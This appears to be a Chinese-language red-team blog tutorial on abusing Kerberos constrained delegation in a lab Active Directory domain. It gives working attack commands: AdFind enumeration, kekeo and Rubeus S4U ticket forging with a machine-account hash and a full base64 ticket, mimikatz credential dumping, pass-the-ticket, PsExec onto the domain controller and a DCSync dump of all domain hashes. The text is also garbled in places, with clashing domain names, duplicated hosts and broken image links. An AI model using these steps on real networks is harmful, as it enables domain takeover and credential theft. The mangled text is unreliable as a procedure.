概念 Widnows Server 2003 之后微软引入了非约束委派。同时,为了顺利进行约束性委派,微软于2007年为 Kerberos 协议的 TGS_REQ 和 TGS_REP 阶段引入了两个扩展协议S4u2self(Service for User to Self)
和S4U2proxy(Service for User to Proxy)
。 约束委派有两种:
仅使用Kerberos,不能进行协议转换
使用任何身份验证协议
S4u2self & S4U2proxy S4U2self
协议允许服务代表任意用户请求访问自身服务的ST服务票据;S4U2proxy
协议允许服务在已取得ST服务票据下代表任意用户获取另一个服务的服务票据; 约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定 的其他服务。 配置了约束性委派的账户属性会有如下两个变化:
账户userAccountControl
属性设置为TRUSTED_TO_AUTH_FOR_DELEGATION
标志位,值16781312
。
账户msDS-AllowedToDelegateTo
属性,添加允许委派的服务。
环境介绍 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 域名: redteam.com 域控: 操作系统: Windows Server 2016 主机名: ad02-2016 IP: 10.10.1.10 主机名: ad02-2016 IP: 10.10.1.11 域内主机: 操作系统: Windows server 2012 主机名: web-2012 IP: 10.10.10.12 攻击机: 操作系统: win 10 IP: 10.10.10.22
搭建环境 机器账户 活动目录中的computers组内的计算机,也被称为机器账号。服务账户 域账户注册SPN成为服务账户
1 2 3 4 5 setspn -U -A cifs/web-2012. redteam.red saulgoodman #saulgoodman为用户名 setspn -U -A cifs/web-2012. redteam.red web-2012 #web-2012 为主机名 #取消注册 setspn -D cifs/web-2012. redteam.red
域账户变成服务账户后会有委派,仅信任此用户作为指定服务的委派 -> 添加想要委派的服务。
(msds-allowedtodelegateto=*))" msds-allowedtodelegateto # AdFind . exe查询约束委派服务账户 .\AdFind . exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

1 2 3 4 5 6 7 8 9 10 .\kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-web-2012$@krbtgt-REDTEAM.COM.kirbi /user:Administrator@redteam.COM /service:cifs/ad01-2016.redteam.com" "exit" .\mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.com@REDTEAM.COM_cifs~ad01-2016.redteam.com@REDTEAM.com.kirbi" "exit" dir \\ad01-2016.redteam.com\c$ .\Psexec.exe -accepteula \\ad01-2016.redteam.red cmd
方法2:使用机器账户的Hash值 | Rubeus 与思路一类似,但是这里使用的是Hash值,利用条件:
需要Administrator权限
目标机器账户配置了约束性委派
1 2 # 使用mimikatz获取机器账户NTLM Hash mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
使用Rubeus 申请访问自身的可转发服务票据
1 2 3 4 5 6 7 8 # 使用Rubeus申请配置了约束委派机器账户web-2012 $的TGT .\Rubeus.exe asktgt /user:WEB-2012 $ /rc4:40 ee25b2c3f7ac3370429b18aca51e81 /domain:redteam.red /dc:ad02-2016. redteam.red /nowrap # 使用Rubeus通过S4U2Self协议代表域管理员Administrator请求针对域控LDAP服务的票据,并注入内存 .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:ldap/ad02-2016. redteam.red /dc:ad02-2016. redteam.red /ptt /ticket:doIE/jCCBPqgAwIBBaEDAgEWooIEFTCCBBFhggQNMIIECaADAgEFoQ0bC1JFRFRFQU0uUkVEoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLnJlZKOCA88wggPLoAMCARKhAwIBAqKCA70EggO5H/WWv61D37Lh8CgUrZXK+OCIcG1ppRSAswcwQuaD4XOCz+v9+wZRJ6xY1DRAQ7HK0fIrp96Z54o0al1nMCGXkKRrq4+UyiTuDABdCUxj/bKj0m/DanX6Bm82LFah0J8CRpFsbt5i1F0U/0 t79e8lGbWqmTajaeTgYQrLFmWMUTL8+DQ7E02wth14UY/rBBF/oDwdVhoFovwvkjSiLYx3ePyX20Gmz8IH+1 ReqZajI8I4FGn1fV6FSzlUI7eWMumOkV61iV3uW1Zw7OqawRTcbx/33 rBjkpKsBCY0Gx41q63a8HiLua1tJZkJOERmUWjr/7 EZeZ+RbcgvDT3yOGD1L0y2iHTnGk1+maS3Rbee7EtERg4RmSwXUMnoRsle6/oVFyVdGhpbf8ePiCUY1IQCLNIt7YcleNljrOxSZwPIH1lBwIxiRNrgyhnJbcFKhroZg+dbITKaZYP1j1jcOdlpA2t5qF/kgIcuTSyz7E8bMvm+34 TwLjOF+bw+5 O3riugezUL0nhZRxxZGYfixtOLTN+wxLfDOvqzBbE9HOSJJOeoxGsktl8y5ULQ1cSxEyYjklxlMrv8/t2jJKJE60VrJS+f+VhYw0de+6 AJ08aSWJrfAQQ6T9aAyBFr+flOnx93aIYb5ql6W5rZ9Q5OKDcms/1 rIzVDoPdB2ZAQxPkquHB8vFAXO86rKw1k1SauMxn8sOFVdocF56eWHIEUegVe4mpGLipQMTMJnFCGhuq1IlLZbPTnFykDM9cR+FZb3d5uUN45BGIS2TEKtie6yBROP5mX3F6273srlBM/XOgOUXPnradx1RUPJ2zEM9L8PYKKm516wTJLirmAYRI4FSdQ3hHuMLeTrHNE8BggLf1AhTQizCf7iUJFf7hJv09gIugLFNXtqakKFeAnxz7Ej+X9Q3xyaR39IBIKPrtd/ChkbDZYiID9n31sGQ4oTyYEQDoef4zIhq/x3qRxeroCFKG4yRdVKo8eBEq4a5TPuHIbstXO # 直接dir dir \\ad02-2016. redteam.red\c$
, 访问saulgoodman的cifs服务: 使用kekeo导入票据访问域控。cifs服务
1 2 3 4 5 6 7 8 kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~AD02-2016.redteam .red@REDTEAM.RED.kirbi .\PsExec.exe \\ad02-2016.redteam.red cmd dir \\ad02-2016.redteam.red\c$
![image.png](12.png %}
![image.png](13.png %}
ldap服务
1 2 3 4 5 ## mimikatz 导入ptt kerberos ::ptt TGS_Administrator @redteam .red@REDTEAM .RED_cifs~AD02-2016.redteam.red@REDTEAM .RED.kirbi## mimikatz不用本机管理员,导入kiket即可不用 "privilege::debug" lsadump: :dcsync /domain: redteam.com /all /csv
![image.png](14.png %}
![image.png](15.png %}